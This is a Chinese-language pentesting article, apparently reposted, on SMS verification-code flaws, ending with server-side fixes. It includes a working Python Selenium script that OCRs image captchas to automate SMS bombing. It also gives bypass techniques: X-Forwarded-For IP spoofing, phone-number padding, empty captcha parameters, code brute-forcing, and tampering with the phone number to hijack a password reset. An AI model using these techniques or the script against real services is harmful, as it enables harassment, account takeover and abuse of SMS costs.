淺談短信驗證碼漏洞


前言

在日常的授權測試中,很大一部分只有一個登錄界面,在這個登錄界面其實可以測試的東西有很多,比如用戶名枚舉,弱密碼,驗證碼,找回密碼等等一系列問題。現在的網站為了更好的用戶體驗,免去大家登錄網站都要注冊的問題,通常都采用了發送短信驗證碼的方式來登錄,一方面是便捷,另一方面也算是采用的動態密碼,安全性比較高,那隨之而來的驗證碼的安全性問題也就顯現出來了。

一 短信轟炸漏洞

短信轟炸問題其實是最容易想到的,當然對於短信的轟炸問題,還要分幾類情況看待

1.1 無任何限制的短信轟炸

這種應該是在短信轟炸中最簡單粗暴的一種方式吧,沒有任何限制只需要通過burpsuite去重放數據包即可,然后就可以達到消耗目標網站的短信數量以及對手機號碼擁有者造成困擾

1.2 有驗證碼的短信轟炸

這個相對於無任何限制的短信轟炸是做了限制的,加上了驗證碼。如果驗證碼可以重放的話那還是可以歸類到無任何限制的短信轟炸中。如果驗證碼不能重放並且也不能通過手段提前預知,我最常采用的方法便是python的selenium模塊配合驗證碼識別工具去模擬瀏覽器請求登錄,這種方式不用考慮復雜的交互情況,完全交給瀏覽器去實現,准確度取決於你驗證碼識別工具的准確度。網上有很多識圖工具,比如各大廠商的OCR等等,或者是github上各位大佬的基於機器學習的驗證碼識別工具等等

import requests import time import hashlib from selenium import webdriver from PIL import Image from bs4 import BeautifulSoup headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "X-Forwarded-For": "137.0.0.2", "Content-Type": "application/json;charset=utf-8" } proxies = { "http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080" } def yanzhengma(): url = 'http://127.0.0.1:7779' files = open("E:/img/t1.png", 'rb') r = requests.post(url, proxies=proxies, data=files) return r.text def sendPhone(brower, ph): brower.get('https://xxx.xxx.xxx') phone = brower.find_element_by_xpath("//*[@id=\"mobile\"]") phone.send_keys(ph) path = 'E://img//t.png' imgpath = 'E:/img/t1.png' brower.get_screenshot_as_file(path) im = Image.open(path) box = (1157,320,1274,380) region = im.crop(box) region.save(imgpath) submit = brower.find_element_by_xpath("//*[@id=\"sendSms\"]") image = brower.find_element_by_xpath("//*[@id=\"verifyCode\"]") yzm = yanzhengma() image.send_keys(yzm) submit.click() time.sleep(5) def main(): brower = webdriver.Chrome() for i in range(0,10): sendPhone(brower, "11111111111") if __name__ == '__main__': main() 

先通過屏幕截屏獲取整個圖片,然后再去截取驗證碼,最后通過驗證碼識別器識別出驗證碼后發送到瀏覽器觸發短信轟炸漏洞,該漏洞的危害性主要取決於驗證碼識別的難易程度以及對發送短信次數的限制。現在基本主流的網站在手機驗證碼的時候必須要進行一步驗證,最主要的是驗證碼驗證,當然現在還有滑塊驗證之類的。有興趣的可以去嘗試通過模擬瀏覽器登錄破解滑塊驗證碼。

1.3 特殊字符的填充

這種問題應該算是對限制手機發送短信的一種繞過方式,他的邏輯應該是這樣的,用戶輸入手機號——>后端判斷該手機號是否在30秒或者60秒內請求過——>如果沒有,判斷發送過來的手機號是夠是11位的純數字,如果不是,去掉非數字字符——>和數據庫中的手機號比對,是夠存在於數據庫中,如果存在那么向該手機發送驗證碼。
看到這個邏輯你想到了啥,如果我們一開始輸入的是11111111111這個號碼,下次你空格+11111111111豈不是就同樣給11111111111發送驗證碼,在下次加兩個空格或者別的字符

1.4 短信發送間隔太短

有的網站設定的短信發送間隔是30秒,時間間隔太短,可以找一批手機號,控制請求間隔,保證每個手機號兩個發送間隔大於30秒即可,同樣可以造成短信轟炸漏洞

1.5 ip限制繞過

該漏洞的主要原因是限制的是IP並不是手機號,簡單粗暴的方式增加代理池再去爆破,但這樣成本太高,那這個漏洞的危害性就比較小了。那么如果服務端對於IP的校驗可以在前端進行偽造繞過IP限制那這個危害相對來說就比較大了。
這里推薦一個IP偽造的burpsuite插件 https://github.com/TheKingOfDuck/BurpFakeIP/
http協議中的IP偽造不同於TCP/IP協議,在實現正常的TCP/IP 雙方通信情況下,是無法偽造來源 IP 的,也就是說,在 TCP/IP 協議中,可以偽造數據包來源IP,但這會讓發送出去的數據包有去無回,無法實現正常的通信。
HTTP 是一個應用層協議,基於請求/響應模型。客戶端(往往是瀏覽器)請求與服務器端響應一一對應。服務器的響應格式也是類似的由響應頭信息和響應正文構成。如果服務器通過request中的 x-forwarded-for 和 client-ip 等來獲取客戶端的ip,那么客戶端可以偽造 Client-Ip, X-Forward-For等內容欺騙程序,達到"偽造IP"的目的。

1.6 圖片驗證碼可置為空

如果你前端不傳遞驗證碼的話后端即不驗證驗證碼,刪除驗證碼即可觸發短信炸彈漏洞,其實還有刪除cookie等操作。不光出現在短信轟炸處,比如找回密碼處等同樣存在這樣的問題
形如 https://xxx.xxx.xxx/login.php?action=send&mobile=11111111111&send_code=undefined,

二 驗證碼可以枚舉

這也是個老生長談的問題,主要是因為驗證碼是4位或者5位的數字驗證碼,並且驗證碼的過期時間很長造成的。尤其是4位數字驗證碼,只要枚舉一萬次即可枚舉出正確的驗證碼,對於burpsuite來說,在沒有限制的情況下請求1萬次的
時間應該在10分鍾以內

三 手機號碼可以篡改

篡改接收驗證碼的手機號,如果驗證碼沒有和手機綁定就可以進行一系列高危操作,比如登錄賬號,任意更改密碼呀。舉個例子,在找回密碼處在給手機發送驗證碼時,會在請求包中出現手機號碼,可以篡改手機號碼,但是系統默認還是在找回密碼第一步中輸入的用戶名,這樣就可以劫持驗證碼,達到重置密碼的效果。

有的確定可以通過更改手機號來獲取驗證碼,但是無法通過校驗,同樣可以探測是否存在任意手機號觸發短信轟炸的漏洞

四 自定義驗證碼內容

舉一個抖音海外版的例子,其他漏洞相關內容可以參照(https://www.freebuf.com/vuls/224963.html)
在TikTok的主要網站有一項功能可以讓用戶向自己發送SMS短信以下載該應用程序,DOWNLOAD_URL參數是會出現在SMS短信中的下載鏈接,所以只要篡改該參數即可實現篡改下載鏈接來進行釣魚詐騙等相關活動


看一下手機接收到的信息

五 驗證碼客戶端繞過

這種也很常見,你點擊發送驗證碼,然后隨便輸入驗證碼,然后更改返回包中的相關值即可實現驗證碼繞過,但經過這些年的洗禮,這種漏洞已經很少了,至少大廠應該大部分是不存在這種漏洞的
只需要把狀態碼改為0即可實現繞過

總結

短信驗證碼的安全性隨着手機登錄的普及變得越來越重要,對於短息驗證碼問題,列舉幾個通用的解決方法:
不要把驗證方式置於前端,手機號和短信驗證碼在服務器進行唯一性綁定驗證。
在服務端限制短信驗證碼發送周期,設置時效性,限制發送次數。
封禁的應該是惡意請求的手機號而不是IP地址,對一天內每一個手機號獲得的驗證碼次數進行限制。
手機驗證碼生成6位或者以上的數字+字母組合的驗證碼,並且保證用后即失效
禁止用戶自定義短信內容


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM